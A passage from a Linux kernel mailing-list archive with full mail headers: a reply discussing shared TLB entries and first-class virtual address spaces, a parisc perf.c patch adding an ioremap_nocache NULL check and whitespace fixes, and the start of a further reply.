	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J.  Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <dav
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 03:34:28 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cncI7-00058T-0F
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 03:34:27 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id A01F86B0388; Mon, 13 Mar 2017 22:34:32 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 9B2296B038A; Mon, 13 Mar 2017 22:34:32 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 853026B038B; Mon, 13 Mar 2017 22:34:32 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 268786B0388
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 22:34:32 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id g10so47582519wrg.5
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 19:34:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=rzoZ0WpHhTa1ozY/Hj3badVzkI9GlDpY617mrc0W+1o=;
        b=rRtCLuF/D49O5PPgxa0+gZTk7kXAkHJGHmwjP8YCOj/USRFNUK7dVaZtXb3y7TlfxJ
         r86U/Y4bsIYTWhoZ/igSjHVmeKUghil//pYl+YBVmKaSACsOzrC0JfqPIoBYkPRFMtpY
         ZkIFkfY9H/WW8zNhPewmk0YomiRZ50fbuY/1TAHx/t+qIITP373ACGmy5/4w0i/JYZlD
         JclxO4Aggf03TkfiXjqtB2nkUJTH93WrcoXKqfCf98bnjypZu588oploUUE46CrkKmJR
         4Ry3qjufxAd45MyH7+nBTzdDDUHtRNa3swKruQWyzDYxVIU5VF+KB6J7pwd+6nfbpTGy
         aK+w==
X-Gm-Message-State: AMke39kZP6eLgWQugcz38onQTNzhVaRONuu9KCMbfgYo6p8PWCWipBs5l5+kn5Se82fJ963/qEG4D/OaRFF3/FllVFLn+Ro9GXQxjm2Dg//bpkZ5Qiv7QZzks8QTr+Sz/tFZDUA6tDjMPQXX2H/sy6Wc3TN2vpMCvlCCrmDHGwpPjNw9cEU6J4aNV/eSbjpuw9MakGu7gbCtBSwyZbPOeKd9YXbUxpbglM2RicdDQgpITKQsWDSxIpuKSLs5lIyfbP3Nmj9i8/RNzTq/Yo7eZ/bpoox2z2GsJIp0DECjOZhXecC95g==
X-Received: by 10.223.173.169 with SMTP id w38mr30522846wrc.177.1489458871726;
        Mon, 13 Mar 2017 19:34:31 -0700 (PDT)
X-Received: by 10.223.173.169 with SMTP id w38mr30522814wrc.177.1489458870878;
        Mon, 13 Mar 2017 19:34:30 -0700 (PDT)
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id n123si13256496wme.98.2017.03.13.19.34.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 19:34:30 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x243.google.com with SMTP id u132so12651510wmg.1;
        Mon, 13 Mar 2017 19:34:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=rzoZ0WpHhTa1ozY/Hj3badVzkI9GlDpY617mrc0W+1o=;
        b=M3t7EuONgWQOz8TbT50Qy+aUouMzK0R6NmqnkuSIktSdYHIUM+kkZr0t5pydvkcHa5
         Hv/Qd9N9qJRBwW7t4zc7TJvRwCfwUmzrSxZ1h89mWcLC6JAqxaO4BerX+GB8Xk7bUgoP
         BxKno65YF+k03QWRqZIB2BxegEwDt/f4Vrtk7Q2G1dzaT3my4cl//clNkckFDFH1YJjX
         M0dokuHFuQP7reyp/yJ3zdM6V6B521zQ/LNNBrIHCNchiIPE++hpi0y58GOT3oT49zci
         loEGVM+B+cW3iWHacNsSbBy80T1u2VxKt91jiwD5dl8Leauc5jS8NJZGSfkXzREX+Wiu
         OSOQ==
X-Received: by 10.28.193.197 with SMTP id r188mr12797994wmf.116.1489458870118;
        Mon, 13 Mar 2017 19:34:30 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id t63sm13426962wme.16.2017.03.13.19.34.28
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 19:34:29 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Vineet Gupta <Vineet.Gupta1@synopsys.com>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J.  Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp 
Content-Disposition: inline
In-Reply-To: <cd1adda8-bf6a-47ad-bff3-5bc6626ac100@synopsys.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168289 gmane.linux.kernel:2431384 gmane.linux.ports.alpha:4145 gmane.linux.kernel.arc:2235 gmane.linux.ports.arm.kernel:564789 gmane.linux.ports.hexagon:1170 gmane.linux.ports.ia64:27709 gmane.linux.kernel.metag:1279 gmane.linux.ports.mips.general:58358 gmane.linux.ports.parisc:27337 gmane.linux.ports.ppc64.devel:139554 gmane.linux.ports.sh.devel:55143 gmane.linux.ports.sparc:24740 gmane.linux.drivers.video-input-infrastructure:114767 gmane.linux.drivers.mtd:72555 gmane.linux.usb.general:156143 gmane.linux.file-systems:119107 gmane.linux.kernel.aio.general:4960 gmane.linux.kernel.api:22544 gmane.linux.kernel.cross-arch:35552 gmane.linux.alsa.devel:165330
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168289>

Hi Vineet,

On Mon, 13 Mar 2017, Vineet Gupta wrote:
> I've not looked at the patches closely (or read the references paper fully yet),
> but at first glance it seems on ARC architecture, we can can potentially
> use/leverage this mechanism to implement the shared TLB entries. Before anyone
> shouts these are not same as the IA64/x86 protection keys which allow TLB entries
> with different protection bits across processes etc. These TLB entries are
> actually *shared* by processes.
> 
> Conceptually there's shared address spaces, independent of processes. e.g. ldso
> code is shared address space #1, libc (code) #2 .... System can support a limited
> number of shared addr spaces (say 64, enough for typical embedded sys).
> 
> While Normal TLB entries are tagged with ASID (Addr space ID) to keep them unique
> across processes, Shared TLB entries are tagged with Shared address space ID.
> 
> A process MMU context consists of ASID (a single number) and a SASID bitmap (to
> allow "subscription" to multiple Shared spaces. The subscriptions are set up bu
> userspace ld.so which knows about the libs process wants to map.
> 
> The restriction ofcourse is that the spaces are mapped at *same* vaddr is all
> participating processes. I know this goes against whole security, address space
> randomization - but it gives much better real time performance. Why does each
> process need to take a MMU exception for libc code...
> 
> So long story short - it seems there can be multiple uses of this infrastructure !

During the development of this code, we also looked at shared TLB entries, but
the other way around. We wanted to use them to prevent flushing of TLB entries of
shared memory regions when switching between multiple ASes. Unfortunately, we never
finished this part of the code.

However, we also investigated into a different use-case for first class virtual
address spaces that is related to what you propose if I didn't understand something
wrong. The idea is to move shared libraries into their own first class virtual
address space and only load some small trampoline code in the application AS. This
trampoline code performs the VAS switch in the libraries AS and execute the requested
function there. If we combine this architecture with tagged TLB entries to prevent
TLB flushes during the switch operation, it can also reach an acceptable performance.
A side effect of moving the shared library into its own AS is that it can not be used
by ROP-attacks because it is not accessible in the application's AS.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: perf: Handle return NULL error from ioremap_nocache.
Date: Tue, 14 Mar 2017 15:24:51 +0530
Lines: 325
Approved: news@gmane.org
Message-ID: <1489485291-21535-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489485324 20626 195.159.176.226 (14 Mar 2017 09:55:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 09:55:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 14 10:55:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cnjAe-0005Qg-0z
	for glpp-linux-parisc@m.gmane.org; Tue, 14 Mar 2017 10:55:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750797AbdCNJzS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 14 Mar 2017 05:55:18 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:33017 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750744AbdCNJzR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 14 Mar 2017 05:55:17 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 77so23369540pgc.0;
        Tue, 14 Mar 2017 02:55:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=iAJ7iApXAjjGbz5VCoH5IyHoA4RrVw7eWtkBHGEYTCs=;
        b=ihBs/phH7HDcopdPIxZ9ZIal/8MV7W2S2ppX1QS3x5darABAgUO9XMEOhIZW6FP5sa
         oeOrlx1L3Pkr342xjKWcRp085HXuCclWadQ0qEQpVGJnpqunryewV/tbNlVYM6uT48Oz
         BoYhZinJCwkwhXTcwV2kTVYhDuv3RXRfyDbCMkP9L8A0BYlPp9QM5wQxLUFIn73CGP2z
         b4R5Gn0bNt1hF3en8T1My38lOliSCnTu8qjE18CmE1wtl2BMULD3myS4OTa1kn+aaRP0
         7/JjpLixbHnPZs1hd2hMAkaWR3AR90O65eNsiLbAEE+jPj28G7oLMVLB7OQiH7rtRYAD
         0Qag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=iAJ7iApXAjjGbz5VCoH5IyHoA4RrVw7eWtkBHGEYTCs=;
        b=RmGsuk1t9v8Z9btykor1I16LThAMhsnyT0wuPH033F0/rktWZ7HRf+AvqZls5reNMX
         SqD3NVl+PWOftnspvr9+eXjIIc33OSCqtd2X7WXX6F+GFlP01JYPyHkzHrplywQKPvmD
         n+nA18jHYsb6ihfhW94DhIuCvwuYUNiP+Q/1plnImhj0zwBF5dOXHYuWnqv39UK4JuSq
         QRJDxNxifYsXsgElQbxGJ5owLYMyHnW35dTD1/L+W6Ad7nGq5ZXRnrxevTbLhP/Y1Sd+
         3vjQwgvxfNx+qJqM45d+a+QsXHep2TNvfp9QvPmkIN8BjmLxHd9DxsuMXhp7i94sgwLb
         LVng==
X-Gm-Message-State: AMke39lZriJxbDOonaszw9/kZ5uVbVExohrC9f98aB53XxPWBIq9Emo9/n70AW+hV9qR7g==
X-Received: by 10.84.176.131 with SMTP id v3mr54530009plb.7.1489485316224;
        Tue, 14 Mar 2017 02:55:16 -0700 (PDT)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id n15sm37513313pfj.18.2017.03.14.02.55.14
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 14 Mar 2017 02:55:15 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27338 gmane.linux.kernel:2431587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27338>

Here, If ioremap_nocache will fail. It will return NULL.
Kernel can run into a NULL-pointer dereference.
This error check will avoid NULL pointer dereference.

This patch will remove coding style errors.
   - ERROR: code indent should use tabs where possible.
   - ERROR: trailing whitespace.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 arch/parisc/kernel/perf.c | 90 +++++++++++++++++++++++++----------------------
 1 file changed, 47 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index e282a51..4313624 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -39,7 +39,7 @@
  *  the PDC INTRIGUE calls.  This is done to eliminate bugs introduced
  *  in various PDC revisions.  The code is much more maintainable
  *  and reliable this way vs having to debug on every version of PDC
- *  on every box. 
+ *  on every box.
  */
 
 #include <linux/capability.h>
@@ -195,7 +195,7 @@ struct rdr_tbl_ent {
 static int perf_release(struct inode *inode, struct file *file);
 static int perf_open(struct inode *inode, struct file *file);
 static ssize_t perf_read(struct file *file, char __user *buf, size_t cnt, loff_t *ppos);
-static ssize_t perf_write(struct file *file, const char __user *buf, size_t count, 
+static ssize_t perf_write(struct file *file, const char __user *buf, size_t count,
 	loff_t *ppos);
 static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
 static void perf_start_counters(void);
@@ -222,7 +222,7 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 /*
  * configure:
  *
- * Configure the cpu with a given data image.  First turn off the counters, 
+ * Configure the cpu with a given data image.  First turn off the counters,
  * then download the image, then turn the counters back on.
  */
 static int perf_config(uint32_t *image_ptr)
@@ -234,7 +234,7 @@ static int perf_config(uint32_t *image_ptr)
 	error = perf_stop_counters(raddr);
 	if (error != 0) {
 		printk("perf_config: perf_stop_counters = %ld\n", error);
-		return -EINVAL; 
+		return -EINVAL;
 	}
 
 printk("Preparing to write image\n");
@@ -242,7 +242,7 @@ static int perf_config(uint32_t *image_ptr)
 	error = perf_write_image((uint64_t *)image_ptr);
 	if (error != 0) {
 		printk("perf_config: DOWNLOAD = %ld\n", error);
-		return -EINVAL; 
+		return -EINVAL;
 	}
 
 printk("Preparing to start counters\n");
@@ -254,7 +254,7 @@ static int perf_config(uint32_t *image_ptr)
 }
 
 /*
- * Open the device and initialize all of its memory.  The device is only 
+ * Open the device and initialize all of its memory.  The device is only
  * opened once, but can be "queried" by multiple processes that know its
  * file descriptor.
  */
@@ -298,7 +298,7 @@ static ssize_t perf_read(struct file *file, char __user *buf, size_t cnt, loff_t
  * called on the processor that the download should happen
  * on.
  */
-static ssize_t perf_write(struct file *file, const char __user *buf, size_t count, 
+static ssize_t perf_write(struct file *file, const char __user *buf, size_t count,
 	loff_t *ppos)
 {
 	size_t image_size;
@@ -306,11 +306,11 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 	uint32_t interface_type;
 	uint32_t test;
 
-	if (perf_processor_interface == ONYX_INTF) 
+	if (perf_processor_interface == ONYX_INTF)
 		image_size = PCXU_IMAGE_SIZE;
-	else if (perf_processor_interface == CUDA_INTF) 
+	else if (perf_processor_interface == CUDA_INTF)
 		image_size = PCXW_IMAGE_SIZE;
-	else 
+	else
 		return -EFAULT;
 
 	if (!capable(CAP_SYS_ADMIN))
@@ -330,22 +330,22 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 
 	/* First check the machine type is correct for
 	   the requested image */
-        if (((perf_processor_interface == CUDA_INTF) &&
-		       (interface_type != CUDA_INTF)) ||
-	    ((perf_processor_interface == ONYX_INTF) &&
-	               (interface_type != ONYX_INTF))) 
+	if (((perf_processor_interface == CUDA_INTF) &&
+			(interface_type != CUDA_INTF)) ||
+		((perf_processor_interface == ONYX_INTF) &&
+			(interface_type != ONYX_INTF)))
 		return -EINVAL;
 
 	/* Next check to make sure the requested image
 	   is valid */
-	if (((interface_type == CUDA_INTF) && 
+	if (((interface_type == CUDA_INTF) &&
 		       (test >= MAX_CUDA_IMAGES)) ||
-	    ((interface_type == ONYX_INTF) && 
-		       (test >= MAX_ONYX_IMAGES))) 
+	    ((interface_type == ONYX_INTF) &&
+		       (test >= MAX_ONYX_IMAGES)))
 		return -EINVAL;
 
 	/* Copy the image into the processor */
-	if (interface_type == CUDA_INTF) 
+	if (interface_type == CUDA_INTF)
 		return perf_config(cuda_images[test]);
 	else
 		return perf_config(onyx_images[test]);
@@ -359,7 +359,7 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 static void perf_patch_images(void)
 {
 #if 0 /* FIXME!! */
-/* 
+/*
  * NOTE:  this routine is VERY specific to the current TLB image.
  * If the image is changed, this routine might also need to be changed.
  */
@@ -367,9 +367,9 @@ static void perf_patch_images(void)
 	extern void $i_dtlb_miss_2_0();
 	extern void PA2_0_iva();
 
-	/* 
+	/*
 	 * We can only use the lower 32-bits, the upper 32-bits should be 0
-	 * anyway given this is in the kernel 
+	 * anyway given this is in the kernel
 	 */
 	uint32_t itlb_addr  = (uint32_t)&($i_itlb_miss_2_0);
 	uint32_t dtlb_addr  = (uint32_t)&($i_dtlb_miss_2_0);
@@ -377,21 +377,21 @@ static void perf_patch_images(void)
 
 	if (perf_processor_interface == ONYX_INTF) {
 		/* clear last 2 bytes */
-		onyx_images[TLBMISS][15] &= 0xffffff00;  
+		onyx_images[TLBMISS][15] &= 0xffffff00;
 		/* set 2 bytes */
 		onyx_images[TLBMISS][15] |= (0x000000ff&((dtlb_addr) >> 24));
 		onyx_images[TLBMISS][16] = (dtlb_addr << 8)&0xffffff00;
 		onyx_images[TLBMISS][17] = itlb_addr;
 
 		/* clear last 2 bytes */
-		onyx_images[TLBHANDMISS][15] &= 0xffffff00;  
+		onyx_images[TLBHANDMISS][15] &= 0xffffff00;
 		/* set 2 bytes */
 		onyx_images[TLBHANDMISS][15] |= (0x000000ff&((dtlb_addr) >> 24));
 		onyx_images[TLBHANDMISS][16] = (dtlb_addr << 8)&0xffffff00;
 		onyx_images[TLBHANDMISS][17] = itlb_addr;
 
 		/* clear last 2 bytes */
-		onyx_images[BIG_CPI][15] &= 0xffffff00;  
+		onyx_images[BIG_CPI][15] &= 0xffffff00;
 		/* set 2 bytes */
 		onyx_images[BIG_CPI][15] |= (0x000000ff&((dtlb_addr) >> 24));
 		onyx_images[BIG_CPI][16] = (dtlb_addr << 8)&0xffffff00;
@@ -404,24 +404,24 @@ static void perf_patch_images(void)
 
 	} else if (perf_processor_interface == CUDA_INTF) {
 		/* Cuda interface */
-		cuda_images[TLBMISS][16] =  
+		cuda_images[TLBMISS][16] =
 			(cuda_images[TLBMISS][16]&0xffff0000) |
 			((dtlb_addr >> 8)&0x0000ffff);
-		cuda_images[TLBMISS][17] = 
+		cuda_images[TLBMISS][17] =
 			((dtlb_addr << 24)&0xff000000) | ((itlb_addr >> 16)&0x000000ff);
 		cuda_images[TLBMISS][18] = (itlb_addr << 16)&0xffff0000;
 
-		cuda_images[TLBHANDMISS][16] = 
+		cuda_images[TLBHANDMISS][16] =
 			(cuda_images[TLBHANDMISS][16]&0xffff0000) |
 			((dtlb_addr >> 8)&0x0000ffff);
-		cuda_images[TLBHANDMISS][17] = 
+		cuda_images[TLBHANDMISS][17] =
 			((dtlb_addr << 24)&0xff000000) | ((itlb_addr >> 16)&0x000000ff);
 		cuda_images[TLBHANDMISS][18] = (itlb_addr << 16)&0xffff0000;
 
-		cuda_images[BIG_CPI][16] = 
+		cuda_images[BIG_CPI][16] =
 			(cuda_images[BIG_CPI][16]&0xffff0000) |
 			((dtlb_addr >> 8)&0x0000ffff);
-		cuda_images[BIG_CPI][17] = 
+		cuda_images[BIG_CPI][17] =
 			((dtlb_addr << 24)&0xff000000) | ((itlb_addr >> 16)&0x000000ff);
 		cuda_images[BIG_CPI][18] = (itlb_addr << 16)&0xffff0000;
 	} else {
@@ -433,7 +433,7 @@ static void perf_patch_images(void)
 
 /*
  * ioctl routine
- * All routines effect the processor that they are executed on.  Thus you 
+ * All routines effect the processor that they are executed on.  Thus you
  * must be running on the processor that you wish to change.
  */
 
@@ -459,7 +459,7 @@ static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 			}
 
 			/* copy out the Counters */
-			if (copy_to_user((void __user *)arg, raddr, 
+			if (copy_to_user((void __user *)arg, raddr,
 					sizeof (raddr)) != 0) {
 				error =  -EFAULT;
 				break;
@@ -487,7 +487,7 @@ static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 	.open = perf_open,
 	.release = perf_release
 };
-	
+
 static struct miscdevice perf_dev = {
 	MISC_DYNAMIC_MINOR,
 	PA_PERF_DEV,
@@ -595,7 +595,7 @@ static int perf_stop_counters(uint32_t *raddr)
 		/* OR sticky2 (bit 1496) to counter2 bit 32 */
 		tmp64 |= (userbuf[23] >> 8) & 0x0000000080000000;
 		raddr[2] = (uint32_t)tmp64;
-		
+
 		/* Counter3 is bits 1497 to 1528 */
 		tmp64 =  (userbuf[23] >> 7) & 0x00000000ffffffff;
 		/* OR sticky3 (bit 1529) to counter3 bit 32 */
@@ -617,7 +617,7 @@ static int perf_stop_counters(uint32_t *raddr)
 		userbuf[22] = 0;
 		userbuf[23] = 0;
 
-		/* 
+		/*
 		 * Write back the zeroed bytes + the image given
 		 * the read was destructive.
 		 */
@@ -625,13 +625,13 @@ static int perf_stop_counters(uint32_t *raddr)
 	} else {
 
 		/*
-		 * Read RDR-15 which contains the counters and sticky bits 
+		 * Read RDR-15 which contains the counters and sticky bits
 		 */
 		if (!perf_rdr_read_ubuf(15, userbuf)) {
 			return -13;
 		}
 
-		/* 
+		/*
 		 * Clear out the counters
 		 */
 		perf_rdr_clear(15);
@@ -644,7 +644,7 @@ static int perf_stop_counters(uint32_t *raddr)
 		raddr[2] = (uint32_t)((userbuf[1] >> 32) & 0x00000000ffffffffUL);
 		raddr[3] = (uint32_t)(userbuf[1] & 0x00000000ffffffffUL);
 	}
- 
+
 	return 0;
 }
 
@@ -682,7 +682,7 @@ static int perf_rdr_read_ubuf(uint32_t	rdr_num, uint64_t *buffer)
 	i = tentry->num_words;
 	while (i--) {
 		buffer[i] = 0;
-	}	
+	}
 
 	/* Check for bits an even number of 64 */
 	if ((xbits = width & 0x03f) != 0) {
@@ -808,18 +808,22 @@ static int perf_write_image(uint64_t *memaddr)
 	}
 
 	runway = ioremap_nocache(cpu_device->hpa.start, 4096);
+	if (!runway) {
+		printk(KERN_ERR "write_image: virtual mapping failed!\n");
+		return -ENOMEM;
+	}
 
 	/* Merge intrigue bits into Runway STATUS 0 */
 	tmp64 = __raw_readq(runway + RUNWAY_STATUS) & 0xffecfffffffffffful;
-	__raw_writeq(tmp64 | (*memaddr++ & 0x0013000000000000ul), 
+	__raw_writeq(tmp64 | (*memaddr++ & 0x0013000000000000ul),
 		     runway + RUNWAY_STATUS);
-	
+
 	/* Write RUNWAY DEBUG registers */
 	for (i = 0; i < 8; i++) {
 		__raw_writeq(*memaddr++, runway + RUNWAY_DEBUG);
 	}
 
-	return 0; 
+	return 0;
 }
 
 /*
@@ -843,7 +847,7 @@ static void perf_rdr_write(uint32_t rdr_num, uint64_t *buffer)
 			perf_rdr_shift_out_U(rdr_num, buffer[i]);
 		} else {
 			perf_rdr_shift_out_W(rdr_num, buffer[i]);
-		}	
+		}
 	}
 printk("perf_rdr_write done\n");
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Laight <David.Laight@ACULAB.COM>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.usb.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.file-systems,gmane.linux.ports.ppc64.devel
Subject: RE: [RFC PATCH 07/13] kernel/fork: Split and export 'mm_alloc' and
 'mm_init'
Date: Tue, 14 Mar 2017 10:18:03 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <063D6719AE5E284EB5DD2968C1650D6DCFFB03F4@AcuExch.aculab.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
 <20170313221415.9375-8-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1489486720 8639 195.159.176.226 (14 Mar 2017 10:18:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 10:18:40 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"alsa-devel@alsa-project.org" <alsa-devel@alsa-project.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-aio@kvack.org" <linux-aio@kvack.org>, "linux-mm@kvack.org"
	<linux-mm@kvack.org>, "linux-mtd@lists.infradead.org"
	<linux-mtd@lists.infradead.org>, "sparclinux@vger.kernel.org"
	<sparclinux@vger.kernel.org>, "linux-arch@vger.kernel.org"
	<linux-arch@vger.kernel.org>, "linux-s390@vger.kernel.org"
	<linux-s390@vger.kernel.org>, "linux-hexagon@vger.kernel.org"
	<linux-hexagon@vger.kernel.org>, "linux-sh@vger.kernel.org"
